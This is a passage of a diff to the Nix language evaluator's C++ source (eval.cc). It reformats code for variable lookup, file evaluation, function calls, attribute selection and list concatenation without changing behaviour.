getStaticEnv(expr); if (se) { auto vm = mapStaticEnvBindings(symbols, *se.get(), env); DebuggerGuard _guard(inDebugger); - auto exitStatus = (debugRepl)(ref(shared_from_this()), *vm); + auto exitStatus = (debugRepl) (ref(shared_from_this()), *vm); switch (exitStatus) { - case ReplExitStatus::QuitAll: - if (error) - throw *error; - throw Exit(0); - case ReplExitStatus::Continue: - break; - default: - unreachable(); + case ReplExitStatus::QuitAll: + if (error) + throw *error; + throw Exit(0); + case ReplExitStatus::Continue: + break; + default: + unreachable(); } } } template -void EvalState::addErrorTrace(Error & e, const Args & ... formatArgs) const +void EvalState::addErrorTrace(Error & e, const Args &... formatArgs) const { e.addTrace(nullptr, HintFmt(formatArgs...)); } template -void EvalState::addErrorTrace(Error & e, const PosIdx pos, const Args & ... formatArgs) const +void EvalState::addErrorTrace(Error & e, const PosIdx pos, const Args &... formatArgs) const { e.addTrace(positions[pos], HintFmt(formatArgs...)); } template static std::unique_ptr makeDebugTraceStacker( - EvalState & state, - Expr & expr, - Env & env, - std::variant pos, - const Args & ... formatArgs) + EvalState & state, Expr & expr, Env & env, std::variant pos, const Args &... formatArgs) { - return std::make_unique(state, - DebugTrace { - .pos = std::move(pos), - .expr = expr, - .env = env, - .hint = HintFmt(formatArgs...), - .isError = false - }); + return std::make_unique( + state, + DebugTrace{.pos = std::move(pos), .expr = expr, .env = env, .hint = HintFmt(formatArgs...), .isError = false}); } DebugTraceStacker::DebugTraceStacker(EvalState & evalState, DebugTrace t) @@ -878,13 +871,11 @@ void Value::mkString(std::string_view s) mkString(makeImmutableString(s)); } - -static const char * * encodeContext(const NixStringContext & context) +static const char ** encodeContext(const NixStringContext & context) { if (!context.empty()) { size_t n = 0; - auto ctx = (const char * *) - allocBytes((context.size() + 1) * sizeof(char *)); + auto ctx = (const char **) allocBytes((context.size() + 1) * sizeof(char *)); for (auto & i : context) { ctx[n++] = makeImmutableString({i.to_string()}); } @@ -909,40 +900,48 @@ void Value::mkPath(const SourcePath & path) mkPath(&*path.accessor, makeImmutableString(path.path.abs())); } - inline Value * EvalState::lookupVar(Env * env, const ExprVar & var, bool noEval) { - for (auto l = var.level; l; --l, env = env->up) ; + for (auto l = var.level; l; --l, env = env->up) + ; - if (!var.fromWith) return env->values[var.displ]; + if (!var.fromWith) + return env->values[var.displ]; // This early exit defeats the `maybeThunk` optimization for variables from `with`, // The added complexity of handling this appears to be similarly in cost, or // the cases where applicable were insignificant in the first place. - if (noEval) return nullptr; + if (noEval) + return nullptr; auto * fromWith = var.fromWith; while (1) { forceAttrs(*env->values[0], fromWith->pos, "while evaluating the first subexpression of a with expression"); if (auto j = env->values[0]->attrs()->get(var.name)) { - if (countCalls) attrSelects[j->pos]++; + if (countCalls) + attrSelects[j->pos]++; return j->value; } if (!fromWith->parentWith) - error("undefined variable '%1%'", symbols[var.name]).atPos(var.pos).withFrame(*env, var).debugThrow(); - for (size_t l = fromWith->prevWith; l; --l, env = env->up) ; + error("undefined variable '%1%'", symbols[var.name]) + .atPos(var.pos) + .withFrame(*env, var) + .debugThrow(); + for (size_t l = fromWith->prevWith; l; --l, env = env->up) + ; fromWith = fromWith->parentWith; } } ListBuilder::ListBuilder(EvalState & state, size_t size) : size(size) - , elems(size <= 2 ? inlineElems : (Value * *) allocBytes(size * sizeof(Value *))) + , elems(size <= 2 ? inlineElems : (Value **) allocBytes(size * sizeof(Value *))) { state.nrListElems += size; } -Value * EvalState::getBool(bool b) { +Value * EvalState::getBool(bool b) +{ return b ? &vTrue : &vFalse; } @@ -954,13 +953,11 @@ static inline void mkThunk(Value & v, Env & env, Expr * expr) nrThunks++; } - void EvalState::mkThunk_(Value & v, Expr * expr) { mkThunk(v, baseEnv, expr); } - void EvalState::mkPos(Value & v, PosIdx p) { auto origin = positions.originOf(p); @@ -973,17 +970,15 @@ void EvalState::mkPos(Value & v, PosIdx p) v.mkNull(); } - void EvalState::mkStorePathString(const StorePath & p, Value & v) { v.mkString( store->printStorePath(p), - NixStringContext { - NixStringContextElem::Opaque { .path = p }, + NixStringContext{ + NixStringContextElem::Opaque{.path = p}, }); } - std::string EvalState::mkOutputStringRaw( const SingleDerivedPath::Built & b, std::optional optStaticOutputPath, @@ -991,64 +986,56 @@ std::string EvalState::mkOutputStringRaw( { /* In practice, this is testing for the case of CA derivations, or dynamic derivations. */ - return optStaticOutputPath - ? store->printStorePath(std::move(*optStaticOutputPath)) - /* Downstream we would substitute this for an actual path once - we build the floating CA derivation */ - : DownstreamPlaceholder::fromSingleDerivedPathBuilt(b, xpSettings).render(); + return optStaticOutputPath ? store->printStorePath(std::move(*optStaticOutputPath)) + /* Downstream we would substitute this for an actual path once + we build the floating CA derivation */ + : DownstreamPlaceholder::fromSingleDerivedPathBuilt(b, xpSettings).render(); } - void EvalState::mkOutputString( Value & value, const SingleDerivedPath::Built & b, std::optional optStaticOutputPath, const ExperimentalFeatureSettings & xpSettings) { - value.mkString( - mkOutputStringRaw(b, optStaticOutputPath, xpSettings), - NixStringContext { b }); + value.mkString(mkOutputStringRaw(b, optStaticOutputPath, xpSettings), NixStringContext{b}); } - -std::string EvalState::mkSingleDerivedPathStringRaw( - const SingleDerivedPath & p) +std::string EvalState::mkSingleDerivedPathStringRaw(const SingleDerivedPath & p) { - return std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & o) { - return store->printStorePath(o.path); - }, - [&](const SingleDerivedPath::Built & b) { - auto optStaticOutputPath = std::visit(overloaded { - [&](const SingleDerivedPath::Opaque & o) { - auto drv = store->readDerivation(o.path); - auto i = drv.outputs.find(b.output); - if (i == drv.outputs.end()) - throw Error("derivation '%s' does not have output '%s'", b.drvPath->to_string(*store), b.output); - return i->second.path(*store, drv.name, b.output); - }, - [&](const SingleDerivedPath::Built & o) -> std::optional { - return std::nullopt; - }, - }, b.drvPath->raw()); - return mkOutputStringRaw(b, optStaticOutputPath); - } - }, p.raw()); + return std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & o) { return store->printStorePath(o.path); }, + [&](const SingleDerivedPath::Built & b) { + auto optStaticOutputPath = std::visit( + overloaded{ + [&](const SingleDerivedPath::Opaque & o) { + auto drv = store->readDerivation(o.path); + auto i = drv.outputs.find(b.output); + if (i == drv.outputs.end()) + throw Error( + "derivation '%s' does not have output '%s'", + b.drvPath->to_string(*store), + b.output); + return i->second.path(*store, drv.name, b.output); + }, + [&](const SingleDerivedPath::Built & o) -> std::optional { return std::nullopt; }, + }, + b.drvPath->raw()); + return mkOutputStringRaw(b, optStaticOutputPath); + }}, + p.raw()); } - -void EvalState::mkSingleDerivedPathString( - const SingleDerivedPath & p, - Value & v) +void EvalState::mkSingleDerivedPathString(const SingleDerivedPath & p, Value & v) { v.mkString( mkSingleDerivedPathStringRaw(p), - NixStringContext { + NixStringContext{ std::visit([](auto && v) -> NixStringContextElem { return v; }, p), }); } - /* Create a thunk for the delayed computation of the given expression in the given environment. But if the expression is a variable, then look it up right away. This significantly reduces the number @@ -1060,17 +1047,18 @@ Value * Expr::maybeThunk(EvalState & state, Env & env) return v; } - Value * ExprVar::maybeThunk(EvalState & state, Env & env) { Value * v = state.lookupVar(&env, *this, true); /* The value might not be initialised in the environment yet. In that case, ignore it. */ - if (v) { state.nrAvoided++; return v; } + if (v) { + state.nrAvoided++; + return v; + } return Expr::maybeThunk(state, env); } - Value * ExprString::maybeThunk(EvalState & state, Env & env) { state.nrAvoided++; @@ -1095,7 +1083,6 @@ Value * ExprPath::maybeThunk(EvalState & state, Env & env) return &v; } - void EvalState::evalFile(const SourcePath & path, Value & v, bool mustBeTrivial) { FileEvalCache::iterator i; @@ -1123,19 +1110,18 @@ void EvalState::evalFile(const SourcePath & path, Value & v, bool mustBeTrivial) fileParseCache.emplace(resolvedPath, e); try { - auto dts = debugRepl - ? makeDebugTraceStacker( - *this, - *e, - this->baseEnv, - e->getPos(), - "while evaluating the file '%1%':", resolvedPath.to_string()) - : nullptr; + auto dts = debugRepl ? makeDebugTraceStacker( + *this, + *e, + this->baseEnv, + e->getPos(), + "while evaluating the file '%1%':", + resolvedPath.to_string()) + : nullptr; // Enforce that 'flake.nix' is a direct attrset, not a // computation. - if (mustBeTrivial && - !(dynamic_cast(e))) + if (mustBeTrivial && !(dynamic_cast(e))) error("file '%s' must be an attribute set", path).debugThrow(); eval(e, v); } catch (Error & e) { @@ -1144,23 +1130,21 @@ void EvalState::evalFile(const SourcePath & path, Value & v, bool mustBeTrivial) } fileEvalCache.emplace(resolvedPath, v); - if (path != resolvedPath) fileEvalCache.emplace(path, v); + if (path != resolvedPath) + fileEvalCache.emplace(path, v); } - void EvalState::resetFileCache() { fileEvalCache.clear(); fileParseCache.clear(); } - void EvalState::eval(Expr * e, Value & v) { e->eval(*this, baseEnv, v); } - inline bool EvalState::evalBool(Env & env, Expr * e, const PosIdx pos, std::string_view errorCtx) { try { @@ -1168,10 +1152,10 @@ inline bool EvalState::evalBool(Env & env, Expr * e, const PosIdx pos, std::stri e->eval(*this, env, v); if (v.type() != nBool) error( - "expected a Boolean but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).atPos(pos).withFrame(env, *e).debugThrow(); + "expected a Boolean but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .atPos(pos) + .withFrame(env, *e) + .debugThrow(); return v.boolean(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); @@ -1179,36 +1163,31 @@ inline bool EvalState::evalBool(Env & env, Expr * e, const PosIdx pos, std::stri } } - inline void EvalState::evalAttrs(Env & env, Expr * e, Value & v, const PosIdx pos, std::string_view errorCtx) { try { e->eval(*this, env, v); if (v.type() != nAttrs) error( - "expected a set but found %1%: %2%", - showType(v), - ValuePrinter(*this, v, errorPrintOptions) - ).withFrame(env, *e).debugThrow(); + "expected a set but found %1%: %2%", showType(v), ValuePrinter(*this, v, errorPrintOptions)) + .withFrame(env, *e) + .debugThrow(); } catch (Error & e) { e.addTrace(positions[pos], errorCtx); throw; } } - void Expr::eval(EvalState & state, Env & env, Value & v) { unreachable(); } - void ExprInt::eval(EvalState & state, Env & env, Value & v) { v = this->v; } - void ExprFloat::eval(EvalState & state, Env & env, Value & v) { v = this->v; @@ -1219,13 +1198,11 @@ void ExprString::eval(EvalState & state, Env & env, Value & v) v = this->v; } - void ExprPath::eval(EvalState & state, Env & env, Value & v) { v = this->v; } - Env * ExprAttrs::buildInheritFromEnv(EvalState & state, Env & up) { Env & inheritEnv = state.allocEnv(inheritFromExprs->size()); @@ -1280,7 +1257,10 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) Hence we need __overrides.) */ if (hasOverrides) { Value * vOverrides = (*bindings.bindings)[overrides->second.displ].value; - state.forceAttrs(*vOverrides, [&]() { return vOverrides->determinePos(noPos); }, "while evaluating the `__overrides` attribute"); + state.forceAttrs( + *vOverrides, + [&]() { return vOverrides->determinePos(noPos); }, + "while evaluating the `__overrides` attribute"); bindings.grow(state.allocBindings(bindings.capacity() + vOverrides->attrs()->size())); for (auto & i : *vOverrides->attrs()) { AttrDefs::iterator j = attrs.find(i.name); @@ -1298,9 +1278,7 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) Env * inheritEnv = inheritFromExprs ? buildInheritFromEnv(state, env) : nullptr; for (auto & i : attrs) bindings.insert( - i.first, - i.second.e->maybeThunk(state, *i.second.chooseByKind(&env, &env, inheritEnv)), - i.second.pos); + i.first, i.second.e->maybeThunk(state, *i.second.chooseByKind(&env, &env, inheritEnv)), i.second.pos); } /* Dynamic attrs apply *after* rec and __overrides. */ @@ -1316,7 +1294,12 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) // FIXME: inefficient bindings.bindings->sort(); if (auto j = bindings.bindings->get(nameSym)) - state.error("dynamic attribute '%1%' already defined at %2%", state.symbols[nameSym], state.positions[j->pos]).atPos(i.pos).withFrame(env, *this).debugThrow(); + state + .error( + "dynamic attribute '%1%' already defined at %2%", state.symbols[nameSym], state.positions[j->pos]) + .atPos(i.pos) + .withFrame(env, *this) + .debugThrow(); i.valueExpr->setName(nameSym); /* Keep sorted order so find can catch duplicates */ @@ -1329,7 +1312,6 @@ void ExprAttrs::eval(EvalState & state, Env & env, Value & v) v.mkAttrs(sort ? bindings.finish() : bindings.alreadySorted()); } - void ExprLet::eval(EvalState & state, Env & env, Value & v) { /* Create a new environment that contains the attributes in this @@ -1344,26 +1326,16 @@ void ExprLet::eval(EvalState & state, Env & env, Value & v) environment. */ Displacement displ = 0; for (auto & i : attrs->attrs) { - env2.values[displ++] = i.second.e->maybeThunk( - state, - *i.second.chooseByKind(&env2, &env, inheritEnv)); + env2.values[displ++] = i.second.e->maybeThunk(state, *i.second.chooseByKind(&env2, &env, inheritEnv)); } auto dts = state.debugRepl - ? makeDebugTraceStacker( - state, - *this, - env2, - getPos(), - "while evaluating a '%1%' expression", - "let" - ) - : nullptr; + ? makeDebugTraceStacker(state, *this, env2, getPos(), "while evaluating a '%1%' expression", "let") + : nullptr; body->eval(state, env2, v); } - void ExprList::eval(EvalState & state, Env & env, Value & v) { auto list = state.buildList(elems.size()); @@ -1372,7 +1344,6 @@ void ExprList::eval(EvalState & state, Env & env, Value & v) v.mkList(list); } - Value * ExprList::maybeThunk(EvalState & state, Env & env) { if (elems.empty()) { @@ -1381,7 +1352,6 @@ Value * ExprList::maybeThunk(EvalState & state, Env & env) return Expr::maybeThunk(state, env); } - void ExprVar::eval(EvalState & state, Env & env, Value & v) { Value * v2 = state.lookupVar(&env, *this, false); @@ -1389,13 +1359,15 @@ void ExprVar::eval(EvalState & state, Env & env, Value & v) v = *v2; } - static std::string showAttrPath(EvalState & state, Env & env, const AttrPath & attrPath) { std::ostringstream out; bool first = true; for (auto & i : attrPath) { - if (!first) out << '.'; else first = false; + if (!first) + out << '.'; + else + first = false; try { out << state.symbols[getName(i, state, env)]; } catch (Error & e) { @@ -1408,7 +1380,6 @@ static std::string showAttrPath(EvalState & state, Env & env, const AttrPath & a return out.str(); } - void ExprSelect::eval(EvalState & state, Env & env, Value & v) { Value vTmp; @@ -1418,15 +1389,14 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) e->eval(state, env, vTmp); try { - auto dts = state.debugRepl - ? makeDebugTraceStacker( - state, - *this, - env, - getPos(), - "while evaluating the attribute '%1%'", - showAttrPath(state, env, attrPath)) - : nullptr; + auto dts = state.debugRepl ? makeDebugTraceStacker( + state, + *this, + env, + getPos(), + "while evaluating the attribute '%1%'", + showAttrPath(state, env, attrPath)) + : nullptr; for (auto & i : attrPath) { state.nrLookups++; @@ -1434,9 +1404,7 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) auto name = getName(i, state, env); if (def) { state.forceValue(*vAttrs, pos); - if (vAttrs->type() != nAttrs || - !(j = vAttrs->attrs()->get(name))) - { + if (vAttrs->type() != nAttrs || !(j = vAttrs->attrs()->get(name))) { def->eval(state, env, v); return; } @@ -1448,23 +1416,27 @@ void ExprSelect::eval(EvalState & state, Env & env, Value & v) allAttrNames.insert(std::string(state.symbols[attr.name])); auto suggestions = Suggestions::bestMatches(allAttrNames, state.symbols[name]); state.error("attribute '%1%' missing", state.symbols[name]) - .atPos(pos).withSuggestions(suggestions).withFrame(env, *this).debugThrow(); + .atPos(pos) + .withSuggestions(suggestions) + .withFrame(env, *this) + .debugThrow(); } } vAttrs = j->value; pos2 = j->pos; - if (state.countCalls) state.attrSelects[pos2]++; + if (state.countCalls) + state.attrSelects[pos2]++; } - state.forceValue(*vAttrs, (pos2 ? pos2 : this->pos ) ); + state.forceValue(*vAttrs, (pos2 ? pos2 : this->pos)); } catch (Error & e) { if (pos2) { auto pos2r = state.positions[pos2]; auto origin = std::get_if(&pos2r.origin); if (!(origin && *origin == state.derivationInternal)) - state.addErrorTrace(e, pos2, "while evaluating the attribute '%1%'", - showAttrPath(state, env, attrPath)); + state.addErrorTrace( + e, pos2, "while evaluating the attribute '%1%'", showAttrPath(state, env, attrPath)); } throw; } @@ -1488,7 +1460,6 @@ Symbol ExprSelect::evalExceptFinalSelect(EvalState & state, Env & env, Value & a return name; } - void ExprOpHasAttr::eval(EvalState & state, Env & env, Value & v) { Value vTmp; @@ -1500,9 +1471,7 @@ void ExprOpHasAttr::eval(EvalState & state, Env & env, Value & v) state.forceValue(*vAttrs, getPos()); const Attr * j; auto name = getName(i, state, env); - if (vAttrs->type() == nAttrs && - (j = vAttrs->attrs()->get(name))) - { + if (vAttrs->type() == nAttrs && (j = vAttrs->attrs()->get(name))) { vAttrs = j->value; } else { v.mkBool(false); @@ -1513,7 +1482,6 @@ void ExprOpHasAttr::eval(EvalState & state, Env & env, Value & v) v.mkBool(true); } - void ExprLambda::eval(EvalState & state, Env & env, Value & v) { v.mkLambda(&env, this); @@ -1523,16 +1491,13 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, { auto _level = addCallDepth(pos); - auto trace = settings.traceFunctionCalls - ? std::make_unique(positions[pos]) - : nullptr; + auto trace = settings.traceFunctionCalls ? std::make_unique(positions[pos]) : nullptr; forceValue(fun, pos); Value vCur(fun); - auto makeAppChain = [&]() - { + auto makeAppChain = [&]() { vRes = vCur; for (auto arg : args) { auto fun2 = allocValue(); @@ -1549,9 +1514,7 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, ExprLambda & lambda(*vCur.payload.lambda.fun); - auto size = - (!lambda.arg ? 0 : 1) + - (lambda.hasFormals() ? lambda.formals->formals.size() : 0); + auto size = (!lambda.arg ? 0 : 1) + (lambda.hasFormals() ? lambda.formals->formals.size() : 0); Env & env2(allocEnv(size)); env2.up = vCur.payload.lambda.env; @@ -1563,7 +1526,8 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, try { forceAttrs(*args[0], lambda.pos, "while evaluating the value passed for the lambda argument"); } catch (Error & e) { - if (pos) e.addTrace(positions[pos], "from call site"); + if (pos) + e.addTrace(positions[pos], "from call site"); throw; } @@ -1578,13 +1542,14 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, auto j = args[0]->attrs()->get(i.name); if (!j) { if (!i.def) { - error("function '%1%' called without required argument '%2%'", - (lambda.name ? std::string(symbols[lambda.name]) : "anonymous lambda"), - symbols[i.name]) - .atPos(lambda.pos) - .withTrace(pos, "from call site") - .withFrame(*fun.payload.lambda.env, lambda) - .debugThrow(); + error( + "function '%1%' called without required argument '%2%'", + (lambda.name ? std::string(symbols[lambda.name]) : "anonymous lambda"), + symbols[i.name]) + .atPos(lambda.pos) + .withTrace(pos, "from call site") + .withFrame(*fun.payload.lambda.env, lambda) + .debugThrow(); } env2.values[displ++] = i.def->maybeThunk(*this, env2); } else { @@ -1604,9 +1569,10 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, for (auto & formal : lambda.formals->formals) formalNames.insert(std::string(symbols[formal.name])); auto suggestions = Suggestions::bestMatches(formalNames, symbols[i.name]); - error("function '%1%' called with unexpected argument '%2%'", - (lambda.name ? std::string(symbols[lambda.name]) : "anonymous lambda"), - symbols[i.name]) + error( + "function '%1%' called with unexpected argument '%2%'", + (lambda.name ? std::string(symbols[lambda.name]) : "anonymous lambda"), + symbols[i.name]) .atPos(lambda.pos) .withTrace(pos, "from call site") .withSuggestions(suggestions) @@ -1618,18 +1584,20 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, } nrFunctionCalls++; - if (countCalls) incrFunctionCall(&lambda); + if (countCalls) + incrFunctionCall(&lambda); /* Evaluate the body. */ try { auto dts = debugRepl - ? makeDebugTraceStacker( - *this, *lambda.body, env2, lambda.pos, - "while calling %s", - lambda.name - ? concatStrings("'", symbols[lambda.name], "'") - : "anonymous lambda") - : nullptr; + ? makeDebugTraceStacker( + *this, + *lambda.body, + env2, + lambda.pos, + "while calling %s", + lambda.name ? concatStrings("'", symbols[lambda.name], "'") : "anonymous lambda") + : nullptr; lambda.body->eval(*this, env2, vCur); } catch (Error & e) { @@ -1638,10 +1606,9 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, e, lambda.pos, "while calling %s", - lambda.name - ? concatStrings("'", symbols[lambda.name], "'") - : "anonymous lambda"); - if (pos) addErrorTrace(e, pos, "from call site"); + lambda.name ? concatStrings("'", symbols[lambda.name], "'") : "anonymous lambda"); + if (pos) + addErrorTrace(e, pos, "from call site"); } throw; } @@ -1662,7 +1629,8 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, auto * fn = vCur.primOp(); nrPrimOpCalls++; - if (countCalls) primOpCalls[fn->name]++; + if (countCalls) + primOpCalls[fn->name]++; try { fn->fun(*this, vCur.determinePos(noPos), args.data(), vCur); @@ -1706,12 +1674,14 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, auto fn = primOp->primOp(); nrPrimOpCalls++; - if (countCalls) primOpCalls[fn->name]++; + if (countCalls) + primOpCalls[fn->name]++; try { // TODO: // 1. Unify this and above code. Heavily redundant. - // 2. Create a fake env (arg1, arg2, etc.) and a fake expr (arg1: arg2: etc: builtins.name arg1 arg2 etc) + // 2. Create a fake env (arg1, arg2, etc.) and a fake expr (arg1: arg2: etc: builtins.name arg1 arg2 + // etc) // so the debugger allows to inspect the wrong parameters passed to the builtin. fn->fun(*this, vCur.determinePos(noPos), vArgs, vCur); } catch (Error & e) { @@ -1741,9 +1711,9 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, else error( - "attempt to call something which is not a function but %1%: %2%", - showType(vCur), - ValuePrinter(*this, vCur, errorPrintOptions)) + "attempt to call something which is not a function but %1%: %2%", + showType(vCur), + ValuePrinter(*this, vCur, errorPrintOptions)) .atPos(pos) .debugThrow(); } @@ -1751,18 +1721,10 @@ void EvalState::callFunction(Value & fun, std::span args, Value & vRes, vRes = vCur; } - void ExprCall::eval(EvalState & state, Env & env, Value & v) { - auto dts = state.debugRepl - ? makeDebugTraceStacker( - state, - *this, - env, - getPos(), - "while calling a function" - ) - : nullptr; + auto dts = + state.debugRepl ? makeDebugTraceStacker(state, *this, env, getPos(), "while calling a function") : nullptr; Value vFun; fun->eval(state, env, vFun); @@ -1780,7 +1742,6 @@ void ExprCall::eval(EvalState & state, Env & env, Value & v) state.callFunction(vFun, vArgs, v, pos); } - // Lifted out of callFunction() because it creates a temporary that // prevents tail-call optimisation. void EvalState::incrFunctionCall(ExprLambda * fun) @@ -1788,7 +1749,6 @@ void EvalState::incrFunctionCall(ExprLambda * fun) functionCalls[fun]++; } - void EvalState::autoCallFunction(const Bindings & args, Value & fun, Value & res) { auto pos = fun.determinePos(noPos); @@ -1810,7 +1770,8 @@ void EvalState::autoCallFunction(const Bindings & args, Value & fun, Value & res return; } - auto attrs = buildBindings(std::max(static_cast(fun.payload.lambda.fun->formals->formals.size()), args.size())); + auto attrs = + buildBindings(std::max(static_cast(fun.payload.lambda.fun->formals->formals.size()), args.size())); if (fun.payload.lambda.fun->formals->ellipsis) { // If the formals have an ellipsis (eg the function accepts extra args) pass @@ -1825,12 +1786,16 @@ void EvalState::autoCallFunction(const Bindings & args, Value & fun, Value & res if (j) { attrs.insert(*j); } else if (!i.def) { - error(R"(cannot evaluate a function that has an argument without a value ('%1%') + error( + R"(cannot evaluate a function that has an argument without a value ('%1%') Nix attempted to evaluate a function as a top level expression; in this case it must have its arguments supplied either by default values, or passed explicitly with '--arg' or '--argstr'. See -https://nixos.org/manual/nix/stable/language/constructs.html#functions.)", symbols[i.name]) - .atPos(i.pos).withFrame(*fun.payload.lambda.env, *fun.payload.lambda.fun).debugThrow(); +https://nixos.org/manual/nix/stable/language/constructs.html#functions.)", + symbols[i.name]) + .atPos(i.pos) + .withFrame(*fun.payload.lambda.env, *fun.payload.lambda.fun) + .debugThrow(); } } } @@ -1838,7 +1803,6 @@ https://nixos.org/manual/nix/stable/language/constructs.html#functions.)", symbo callFunction(fun, allocValue()->mkAttrs(attrs), res, pos); } - void ExprWith::eval(EvalState & state, Env & env, Value & v) { Env & env2(state.allocEnv(1)); @@ -1848,14 +1812,12 @@ void ExprWith::eval(EvalState & state, Env & env, Value & v) body->eval(state, env2, v); } - void ExprIf::eval(EvalState & state, Env & env, Value & v) { // We cheat in the parser, and pass the position of the condition as the position of the if itself. (state.evalBool(env, cond, pos, "while evaluating a branch condition") ? then : else_)->eval(state, env, v); } - void ExprAssert::eval(EvalState & state, Env & env, Value & v) { if (!state.evalBool(env, cond, pos, "in the condition of the assert statement")) { @@ -1865,8 +1827,10 @@ void ExprAssert::eval(EvalState & state, Env & env, Value & v) if (auto eq = dynamic_cast(cond)) { try { - Value v1; eq->e1->eval(state, env, v1); - Value v2; eq->e2->eval(state, env, v2); + Value v1; + eq->e1->eval(state, env, v1); + Value v2; + eq->e2->eval(state, env, v2); state.assertEqValues(v1, v2, eq->pos, "in an equality assertion"); } catch (AssertionError & e) { e.addTrace(state.positions[pos], "while evaluating the condition of the assertion '%s'", exprStr); @@ -1879,47 +1843,50 @@ void ExprAssert::eval(EvalState & state, Env & env, Value & v) body->eval(state, env, v); } - void ExprOpNot::eval(EvalState & state, Env & env, Value & v) { v.mkBool(!state.evalBool(env, e, getPos(), "in the argument of the not operator")); // XXX: FIXME: ! } - void ExprOpEq::eval(EvalState & state, Env & env, Value & v) { - Value v1; e1->eval(state, env, v1); - Value v2; e2->eval(state, env, v2); + Value v1; + e1->eval(state, env, v1); + Value v2; + e2->eval(state, env, v2); v.mkBool(state.eqValues(v1, v2, pos, "while testing two values for equality")); } - void ExprOpNEq::eval(EvalState & state, Env & env, Value & v) { - Value v1; e1->eval(state, env, v1); - Value v2; e2->eval(state, env, v2); + Value v1; + e1->eval(state, env, v1); + Value v2; + e2->eval(state, env, v2); v.mkBool(!state.eqValues(v1, v2, pos, "while testing two values for inequality")); } - void ExprOpAnd::eval(EvalState & state, Env & env, Value & v) { - v.mkBool(state.evalBool(env, e1, pos, "in the left operand of the AND (&&) operator") && state.evalBool(env, e2, pos, "in the right operand of the AND (&&) operator")); + v.mkBool( + state.evalBool(env, e1, pos, "in the left operand of the AND (&&) operator") + && state.evalBool(env, e2, pos, "in the right operand of the AND (&&) operator")); } - void ExprOpOr::eval(EvalState & state, Env & env, Value & v) { - v.mkBool(state.evalBool(env, e1, pos, "in the left operand of the OR (||) operator") || state.evalBool(env, e2, pos, "in the right operand of the OR (||) operator")); + v.mkBool( + state.evalBool(env, e1, pos, "in the left operand of the OR (||) operator") + || state.evalBool(env, e2, pos, "in the right operand of the OR (||) operator")); } - void ExprOpImpl::eval(EvalState & state, Env & env, Value & v) { - v.mkBool(!state.evalBool(env, e1, pos, "in the left operand of the IMPL (->) operator") || state.evalBool(env, e2, pos, "in the right operand of the IMPL (->) operator")); + v.mkBool( + !state.evalBool(env, e1, pos, "in the left operand of the IMPL (->) operator") + || state.evalBool(env, e2, pos, "in the right operand of the IMPL (->) operator")); } - void ExprOpUpdate::eval(EvalState & state, Env & env, Value & v) { Value v1, v2; @@ -1928,8 +1895,14 @@ void ExprOpUpdate::eval(EvalState & state, Env & env, Value & v) state.nrOpUpdates++; - if (v1.attrs()->size() == 0) { v = v2; return; } - if (v2.attrs()->size() == 0) { v = v1; return; } + if (v1.attrs()->size() == 0) { + v = v2; + return; + } + if (v2.attrs()->size() == 0) { + v = v1; + return; + } auto attrs = state.buildBindings(v1.attrs()->size() + v2.attrs()->size()); @@ -1941,33 +1914,36 @@ void ExprOpUpdate::eval(EvalState & state, Env & env, Value & v) while (i != v1.attrs()->end() && j != v2.attrs()->end()) { if (i->name == j->name) { attrs.insert(*j); - ++i; ++j; - } - else if (i->name < j->name) + ++i; + ++j; + } else if (i->name < j->name) attrs.insert(*i++); else attrs.insert(*j++); } - while (i != v1.attrs()->end()) attrs.insert(*i++); - while (j != v2.attrs()->end()) attrs.insert(*j++); + while (i != v1.attrs()->end()) + attrs.insert(*i++); + while (j != v2.attrs()->end()) + attrs.insert(*j++); v.mkAttrs(attrs.alreadySorted()); state.nrOpUpdateValuesCopied += v.attrs()->size(); } - void ExprOpConcatLists::eval(EvalState & state, Env & env, Value & v) { - Value v1; e1->eval(state, env, v1); - Value v2; e2->eval(state, env, v2); - Value * lists[2] = { &v1, &v2 }; + Value v1; + e1->eval(state, env, v1); + Value v2; + e2->eval(state, env, v2); + Value * lists[2] = {&v1, &v2}; state.concatLists(v, 2, lists, pos, "while evaluating one of the elements to concatenate"); } - -void EvalState::concatLists(Value & v, size_t nrLists, Value * const * lists, const PosIdx pos, std::string_view errorCtx) +void EvalState::concatLists( + Value & v, size_t nrLists, Value * const * lists, const PosIdx pos, std::string_view errorCtx) { nrListConcats++; @@ -1977,7 +1953,8 @@ void EvalState::concatLists(Value & v, size_t nrLists, Value * const * lists, co forceList(*lists[n], pos, errorCtx); auto l = lists[n]->listSize(); len += l; - if (l) nonEmpty = lists[n]; + if (l) + nonEmpty = lists[n]; } if (nonEmpty && len == nonEmpty->listSize()) { @@ -1996,7 +1973,6 @@ void EvalState::concatLists(Value & v, size_t nrLists, Value * const * lists, co v.mkList(list); } - void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) { NixStringContext context; @@ -2011,7 +1987,8 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) const auto str = [&] { std::string result; result.reserve(sSize); - for (const auto & part : s) result += *part; + for (const auto & part : s) + result += *part; return result; }; /* c_str() is not str().c_str() because we want to create a string @@ -2050,7 +2027,9 @@ void ExprConcatStrings::eval(EvalState & state, Env & env, Value & v) if (auto checked = newN.valueChecked(); checked.has_value()) { n = NixInt(*checked); } else { - state.error("integer overflow in adding %1% + %2%", n, vTmp.integer()).atPos(i_pos).debugThrow(); + state.error("integer overflow in adding %1% + %2%", n, vTmp.integer()) + .atPos(i_pos) + .debugThrow(); } } else if 